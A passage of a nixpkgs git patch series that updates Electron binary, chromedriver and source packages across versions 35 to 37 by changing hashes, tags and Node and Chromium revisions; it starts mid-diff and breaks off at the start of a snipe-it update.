+            "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
+            "x86_64-darwin": "e2d50fb9c6a7ea2a964ddc8fd925cbf9526048d890256983a66ea0a897c94196",
+            "x86_64-linux": "485c4e31fa3507cdde41bf6775ce3aec3f7fb43137cfa0c69a29f81d98b14873"
         },
-        "version": "37.1.0"
+        "version": "37.2.0"
     }
 }

From 146a0ac57820e9901694d0ba271782d49f1bcf48 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:11:07 +0200
Subject: [PATCH 2276/4511] electron-chromedriver_37: 37.1.0 -> 37.2.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.1.0...v37.2.0

(cherry picked from commit 2556d1c0fb65d9f48f8ec8d3c912da04d17b1816)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 0fcfc045c893..9f3e42ef0aec 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "f17ed19aa221a0105f688e86de3b2ef2328fcd367cc0c3a1a4ef8470c82f4776",
-            "aarch64-linux": "b41893387748f0ab996979d16e38852c9c9a27a647f1931b8cc227b6bea079af",
-            "armv7l-linux": "abb11bb11e40f029061551bdc183b57515ee095de2019ec946bc63018454163d",
-            "headers": "0wizghk8sbggxjcxyxga20021by5b6a4vdr92nkmaadpishs1ylh",
-            "x86_64-darwin": "e45df1088579f802258bce0f17ebb5791140ac7b568a6e17047cace76ab9f045",
-            "x86_64-linux": "aed73451a604782e1be5826a6455e63264ddace4e2d4552a5a400fa16398ab96"
+            "aarch64-darwin": "561315933a2630cf7d515abfc19b55c0590ced5c32e3570409d51f04351c4f33",
+            "aarch64-linux": "201e24232cde4e9ca111ff6146683edb50112e2d220dec3f03ef1248893ba2cd",
+            "armv7l-linux": "7a9b5eb3596af4b9c4e422b6fcb21301887f4e9f4a5f6ba6259abf6ec9a23b93",
+            "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
+            "x86_64-darwin": "ea4b904215f5c8897f594d04fa7cc8222a4ef7112f436a6126b99bc993f50977",
+            "x86_64-linux": "26a8e09b3960a8825e3c7d2165d434d9b0016f0d61c81c099c0b9a596646f62c"
         },
-        "version": "37.1.0"
+        "version": "37.2.0"
     }
 }

From 1418bab14f4fe8de0f4249550b26b60b80e24ea9 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:12:24 +0200
Subject: [PATCH 2277/4511] electron-source.electron_35: 35.6.0 -> 35.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.6.0...v35.7.0

(cherry picked from commit 799afa5b2bb3ea8a61be30c3a42f3a0548b2c8cb)
---
 pkgs/development/tools/electron/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 73ca102ee2bf..31d2ef839577 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-5yRo4cokuojRGS9gZWrhT0M9Gpklbley8nb9h9j5J4c=",
+                    "hash": "sha256-xHAGeN4Zkg2Kmqxt+RjowDwoSdat2elLp/JH+lIs7jw=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.6.0"
+                    "tag": "v35.7.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -386,10 +386,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-fGfV1IkJoAMQC49vZPgmoYW6OznOCJ4IIUNUiyLjIKE=",
+                    "hash": "sha256-rp48HOQB13nZJUByXaL8MMkHNFp/V0qtbDZgoFBIcJY=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.15.1"
+                    "tag": "v22.16.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1305,8 +1305,8 @@
         },
         "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
         "modules": "133",
-        "node": "22.15.1",
-        "version": "35.6.0"
+        "node": "22.16.0",
+        "version": "35.7.0"
     },
     "36": {
         "chrome": "136.0.7103.177",

From cae125c98a50de100ce267e72f498a22ad1dbd35 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:21:18 +0200
Subject: [PATCH 2278/4511] electron-source.electron_36: 36.6.0 -> 36.7.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.6.0...v36.7.0

(cherry picked from commit 4d5441a6d9d457049fd790d274c54d4cf91d15c1)
---
 pkgs/development/tools/electron/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 31d2ef839577..f994b6139642 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1366,10 +1366,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-wqrEmC+nWLQtrTk3hIH4n3f9/uOYBX9H8VfooTqnues=",
+                    "hash": "sha256-s5EZATCaAmd1y4Ryfc7whF+qmfSGUdmMY7Ws/PBpJt0=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.6.0"
+                    "tag": "v36.7.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1695,10 +1695,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-rp48HOQB13nZJUByXaL8MMkHNFp/V0qtbDZgoFBIcJY=",
+                    "hash": "sha256-UFKajmYdtI645aCY8lX8X7mCZv7/k458u72cnqk25RI=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.16.0"
+                    "tag": "v22.17.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2630,8 +2630,8 @@
         },
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "135",
-        "node": "22.16.0",
-        "version": "36.6.0"
+        "node": "22.17.0",
+        "version": "36.7.0"
     },
     "37": {
         "chrome": "138.0.7204.35",

From b1d797315c0ef00a75064e7bd65f08339f2a4687 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 14:39:27 +0200
Subject: [PATCH 2279/4511] electron-source.electron_37: 37.1.0 -> 37.2.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.1.0...v37.2.0

(cherry picked from commit 8ec2a6e188021b7d523d5d1b9f80d9f981aa2281)
---
 pkgs/development/tools/electron/info.json | 28 +++++++++++------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index f994b6139642..3650dab85a4e 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.7.0"
     },
     "37": {
-        "chrome": "138.0.7204.35",
+        "chrome": "138.0.7204.97",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.35"
+            "version": "138.0.7204.97"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-0C2lONJHtUyEAQ8PNSk5Z4zCZa5XFI2LH4Ew9PgWfuU=",
+                    "hash": "sha256-jBRcCFsjel8zBJfcgrYy59SzyYphm01zscYtGo0YFhM=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.35",
+                    "tag": "138.0.7204.97",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-c/Gm/qLWy96407+XVXF+4z99jNUQwkWSwlHxnvfCbK0=",
+                    "hash": "sha256-j2yJnLFeP7hKD0IceSQLDZPjIRaxmyEkseuznyhnL/c=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.1.0"
+                    "tag": "v37.2.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2732,8 +2732,8 @@
             },
             "src/third_party/angle": {
                 "args": {
-                    "hash": "sha256-jGnuunyWvu43LLpejJTcoSlhCukhv8pX2OAQ7n1adcU=",
-                    "rev": "d1fb74c940fef262809f4a513039b70e94c91440",
+                    "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls=",
+                    "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
                     "url": "https://chromium.googlesource.com/angle/angle.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3028,10 +3028,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-rp48HOQB13nZJUByXaL8MMkHNFp/V0qtbDZgoFBIcJY=",
+                    "hash": "sha256-UFKajmYdtI645aCY8lX8X7mCZv7/k458u72cnqk25RI=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.16.0"
+                    "tag": "v22.17.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3954,8 +3954,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-MXQyDv45BDnLwKCqbueY2a5VBEgmf33Xy8WXLE9Rwsc=",
-                    "rev": "a14ab029e21658cba458b7001281c5d526e67636",
+                    "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y=",
+                    "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3963,7 +3963,7 @@
         },
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "136",
-        "node": "22.16.0",
-        "version": "37.1.0"
+        "node": "22.17.0",
+        "version": "37.2.0"
     }
 }

From c3080364728b6901c4ef6f4993c247bb629aaa1e Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:31 +0200
Subject: [PATCH 2280/4511] electron_35-bin: 35.7.0 -> 35.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.0...v35.7.1

(cherry picked from commit 497c14fdb3901a237c0628da68435bc72592e27a)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 70c437b34b82..057affa01b20 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "5256f192ca519431a3e860213b0693d61e94aa45795824b63906b22a351bc946",
-            "aarch64-linux": "361a28f6786c6864abf2d5e3f78252bf894166d2374dae0e8136cea671cf7f81",
-            "armv7l-linux": "96358f42b232cb595db91a6d32f04539153b54a3867ac2db37e7c0d42ff4829a",
+            "aarch64-darwin": "3330a8d349689a341cf0f5f126388ce2c1678c6f8760ba6456eb92d6a6fb87c4",
+            "aarch64-linux": "148ede01556ac18a24d97db60a13346115993a73da40963968da2e951260474f",
+            "armv7l-linux": "fd5fda4137cf9d617c50315eb16710849419b5c60d9cc304b7b5615d8f0fa47f",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "d03f88f68e62dc377ee06aae1dd4d8a22046df7a13450de5d88572ed32e413df",
-            "x86_64-linux": "8c667169cf7e85463677b44d96ec795ab05974a1f3224ad020542580d65c66a5"
+            "x86_64-darwin": "517a770abc9072b2f5335cc0af763fe2e2953fa89d9564640eb75f0eccb2794a",
+            "x86_64-linux": "bddc5a6a1e496e9b87819315dcf188b9b0f7ea8f389d2f4b8326b8d7e0afe956"
         },
-        "version": "35.7.0"
+        "version": "35.7.1"
     },
     "36": {
         "hashes": {

From 62bc31487c65eac321d619beb4fba24d8e48d155 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:34 +0200
Subject: [PATCH 2281/4511] electron-chromedriver_35: 35.7.0 -> 35.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.0...v35.7.1

(cherry picked from commit 559718bf5efe1c2c4175c527d8943421b3020bb4)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 9f3e42ef0aec..74b8134d89ba 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "02f0b20ae36f97eb6a885ea9e70fce75a4a2cdb2f45cf2ecfa3d0413080b50d0",
-            "aarch64-linux": "fdd9185202404eea5975430545b5d7ee158d8f805f143ef877437248cb8b6b49",
-            "armv7l-linux": "874f3ce99e545e5cefc3f5570c415e7458cc75b8e0b4de4719c123398c79f51b",
+            "aarch64-darwin": "2760c01ae0a292a1d20d3d2fab52120800d5734156e71671b458c6539fd24eee",
+            "aarch64-linux": "038555b79c6f0fdf287cbd1943f9c8109e24c88290d6c4b2947159287129daca",
+            "armv7l-linux": "1b9350313d5fdf4774a51d7b8a4149d49d3ca86e789e682794b0499b54e9ae3f",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "7a3c8c8153f3aaa755bbe91c8dd6b542897efa6d7baf1cfbdde4ae6a6a0dd883",
-            "x86_64-linux": "8751624fd3edfc407d0e149dedbc57c614b396b46e0fa45123398e992d1762b5"
+            "x86_64-darwin": "f9ff3b3eb747a2fa0e98e6c408a52e4272d05e477aaa3442debc587e823b385d",
+            "x86_64-linux": "29d379865c8b72645b3d81585af308ebb96cca0c500191bfd042f844d01fa9b8"
         },
-        "version": "35.7.0"
+        "version": "35.7.1"
     },
     "36": {
         "hashes": {

From 4a7aec7b91c7ca2e6cc41a6b828076660cab8423 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:38 +0200
Subject: [PATCH 2282/4511] electron_36-bin: 36.7.0 -> 36.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.0...v36.7.1

(cherry picked from commit e1f76098bd3dc13474cfa45974a7b6815d3d343a)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 057affa01b20..446fcc0f282c 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "d3e4be92999e5a5b4c1eaa939c61a4188706adde28f6622f08b84a1ff782be80",
-            "aarch64-linux": "35b764c85e900d3fd70c94cea13c7be64215c0b707c1e3f948497382e10936d1",
-            "armv7l-linux": "df7c8556cd328722db511447380882b97eb8ad847aecc678c655b79e0676c7d7",
+            "aarch64-darwin": "e79f3fd064cec1b8cd867cd567fbe69f3346520740e22748bfe9b5fb2f01f521",
+            "aarch64-linux": "0e84759948f590538e7e0a00eafd128d68c9d3572b0cce0a8758a78a79de6e86",
+            "armv7l-linux": "94c5a1f3aec2cf72f5df820e8aa7d3e6fb5945bd6b75451ffef1efd08fa074aa",
             "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "2779642d9786c5841d6d0e9d44772db5f1abed5814eb14bcaf6d4cd8b3780687",
-            "x86_64-linux": "9d61a0299667661379e3808b57ced771860df17462ef59c7e7868dfe34c33890"
+            "x86_64-darwin": "93d60bd40a9b41f126ab04442a1781ccdb7934d012d8606cfdebe059d922e308",
+            "x86_64-linux": "27b4efb0d86a628407716268c2b4057c7b695390bd121f500c0daaea2e6c9af5"
         },
-        "version": "36.7.0"
+        "version": "36.7.1"
     },
     "37": {
         "hashes": {

From 9ce1f793ab7817a8a42815f1aaf2da85a57b6849 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:41 +0200
Subject: [PATCH 2283/4511] electron-chromedriver_36: 36.7.0 -> 36.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.0...v36.7.1

(cherry picked from commit 47f3165d4f04e20884b3263ed8f622a55e9dae0d)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 74b8134d89ba..b7eae1e81eac 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,14 +34,14 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "de19859e616f606924864ab2b5d32bd0149556f2a2de05524d488a63e980f27c",
-            "aarch64-linux": "b49adbe5fd890cff44d478a459b9577807211cb56cc7054432a2369770fd0559",
-            "armv7l-linux": "36df8c199859afbafdad321d82acd6376030f185803d23414adb9cb3650194aa",
+            "aarch64-darwin": "58620f79f034970abe41b7c3ae2e317dc8935d937ca07a37017ff528fb7affd3",
+            "aarch64-linux": "cd87231b0db40c8193e65bedf69451604c246867e56c7d52deb15dbdf4e7d527",
+            "armv7l-linux": "cab434d3c281756ebd6f4fda4477a744a8081ac5eb8c938824d7391f8d5e2e32",
             "headers": "09808hmprjpm33h5lx739i1yllwqy89n62ycaxrh6w42sncb2gm9",
-            "x86_64-darwin": "0ae6e46fd5d62691224684581d0803b987de89cd28253971062bc84d8715fc2e",
-            "x86_64-linux": "2abaa69b486ab17a960fea8432bd82d55a77a759dbc43702d0363dd209b0c807"
+            "x86_64-darwin": "bd851936d81cc4ddb2591ff2544ce6952ce49052ed6c929eb6c2a712e63ce4ea",
+            "x86_64-linux": "c4219caa0f8806e9ffabc7dccfb29ae2f9bca02a11fedd1090ad4c800c9783b1"
         },
-        "version": "36.7.0"
+        "version": "36.7.1"
     },
     "37": {
         "hashes": {

From 4432a5a5877c3dc64e3a4ecd7046ec038e467139 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:44 +0200
Subject: [PATCH 2284/4511] electron_37-bin: 37.2.0 -> 37.2.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.0...v37.2.1

(cherry picked from commit 45e5d8e4efc72eee8f6685b87a9e57cee0bd5009)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 446fcc0f282c..04a1fcc973da 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "4e43432b53a118635048408851130a7065b3cfb193382c0cd755c9f56b2dbf06",
-            "aarch64-linux": "560084caf6c41a9e717c09a83398dec4245726812fb93c2c38f8dc4fb92750cf",
-            "armv7l-linux": "a2a132f8f66486bdc54a8f0b482ed9bb294d6cceea06b5821eaf0b18c8d6f898",
+            "aarch64-darwin": "2f381bb274fc0cb8d3a2bfeadc5dfd84b044305cdd02c7d19234e40e90ac03a9",
+            "aarch64-linux": "fa2a494dd7541ef1184f20ebb56508c84f00e716ce43583cf62c4ba47d4dfcad",
+            "armv7l-linux": "f50dc1e573bee739e2a22ffde1ae503b806e38a09a2ade448374e5181a4edf89",
             "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
-            "x86_64-darwin": "e2d50fb9c6a7ea2a964ddc8fd925cbf9526048d890256983a66ea0a897c94196",
-            "x86_64-linux": "485c4e31fa3507cdde41bf6775ce3aec3f7fb43137cfa0c69a29f81d98b14873"
+            "x86_64-darwin": "04112012bae4566b04f636e3101d2ced4522b2c60357a83eaec7cdbda7c036d2",
+            "x86_64-linux": "8f61fba601660839be53625197d836d0e8c8066a54ecc7be468093e4fb6c824b"
         },
-        "version": "37.2.0"
+        "version": "37.2.1"
     }
 }

From 4fa3a0fd565540814dd824c03c01bec9cf18d633 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:06:47 +0200
Subject: [PATCH 2285/4511] electron-chromedriver_37: 37.2.0 -> 37.2.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.0...v37.2.1

(cherry picked from commit e1ef61732546aaa9b5b4007df6559ec76ecd4034)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index b7eae1e81eac..cdcf59551c0e 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "561315933a2630cf7d515abfc19b55c0590ced5c32e3570409d51f04351c4f33",
-            "aarch64-linux": "201e24232cde4e9ca111ff6146683edb50112e2d220dec3f03ef1248893ba2cd",
-            "armv7l-linux": "7a9b5eb3596af4b9c4e422b6fcb21301887f4e9f4a5f6ba6259abf6ec9a23b93",
+            "aarch64-darwin": "20a854527dac40c643faefa3bd96cc7edc633399da825ff89b67ab5b03728b42",
+            "aarch64-linux": "9b9810af731ca62c75ba49339943e4b251ccba8b0890f0933dfa831333a778ff",
+            "armv7l-linux": "5b36d24fe9c6b26b4734ac70f35f6fd50098175acb207fc87187be4fb38ebb4e",
             "headers": "18w6pjbs29aqvdiscwl55ajvpib63y4q7g7y4q7hy0nr2vvzycja",
-            "x86_64-darwin": "ea4b904215f5c8897f594d04fa7cc8222a4ef7112f436a6126b99bc993f50977",
-            "x86_64-linux": "26a8e09b3960a8825e3c7d2165d434d9b0016f0d61c81c099c0b9a596646f62c"
+            "x86_64-darwin": "8398fa0578a60eebb90436749d66d09e23bf4a0c705117bbfa455cb4a5b19746",
+            "x86_64-linux": "413b3e0fb051953d97c920a480ebe364bcd668f31a5ae51c3472d4007bfe4dc5"
         },
-        "version": "37.2.0"
+        "version": "37.2.1"
     }
 }

From ee54f2ca7fe20ba8597ad9cdec0e144a6270c190 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:07:17 +0200
Subject: [PATCH 2286/4511] electron-source.electron_35: 35.7.0 -> 35.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.0...v35.7.1

(cherry picked from commit 447b7cf45c2e6d001b88395b4be5d68bc72e0bd9)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 3650dab85a4e..592732a1fdec 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-xHAGeN4Zkg2Kmqxt+RjowDwoSdat2elLp/JH+lIs7jw=",
+                    "hash": "sha256-jdLAmuRf4nw/N8J7FDZwdG/+BXcoD2zVLsur+iNT4gM=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.7.0"
+                    "tag": "v35.7.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1306,7 +1306,7 @@
         "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
         "modules": "133",
         "node": "22.16.0",
-        "version": "35.7.0"
+        "version": "35.7.1"
     },
     "36": {
         "chrome": "136.0.7103.177",

From d392300648c7ed70bfbe1939b950df1ed93b5917 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:07:30 +0200
Subject: [PATCH 2287/4511] electron-source.electron_36: 36.7.0 -> 36.7.1

- Changelog: https://github.com/electron/electron/releases/tag/v36.7.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.7.0...v36.7.1

(cherry picked from commit e7456fb8d5b15b06dcadf012762ee81f15cb82d7)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 592732a1fdec..fd4a426cbf6a 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1366,10 +1366,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-s5EZATCaAmd1y4Ryfc7whF+qmfSGUdmMY7Ws/PBpJt0=",
+                    "hash": "sha256-Y6OnTmAleyYsmUn/F6kOFNkA4x+QQt00mx97UNWVIWU=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.7.0"
+                    "tag": "v36.7.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2631,7 +2631,7 @@
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "135",
         "node": "22.17.0",
-        "version": "36.7.0"
+        "version": "36.7.1"
     },
     "37": {
         "chrome": "138.0.7204.97",

From 9d80afbbd068567d04f2668b243e1970b45e5b18 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Thu, 10 Jul 2025 00:07:44 +0200
Subject: [PATCH 2288/4511] electron-source.electron_37: 37.2.0 -> 37.2.1

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.0...v37.2.1

(cherry picked from commit e971fb0e7a7567ef54c1dfa164ff71f799ba2381)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index fd4a426cbf6a..cd036c46e4ee 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-j2yJnLFeP7hKD0IceSQLDZPjIRaxmyEkseuznyhnL/c=",
+                    "hash": "sha256-iJiKkKLDbcXnWDi0ZHq6xHB65cm1GsU1gffCPQSNc3Q=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.0"
+                    "tag": "v37.2.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3964,6 +3964,6 @@
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "136",
         "node": "22.17.0",
-        "version": "37.2.0"
+        "version": "37.2.1"
     }
 }

From 30eca9b08722b20439718941d340a46c5739a3fb Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 3 Jun 2025 16:55:13 +0200
Subject: [PATCH 2289/4511] snipe-it: 8.1.4 -> 8.1.15

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.1.15
Full changelog: https://github.com/grokability/snipe-it/compare/v8.1.4...v8.1.15

(cherry picked from commit 1e002dfcf1d3854a114c9160a8be63d500b7d5c5)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
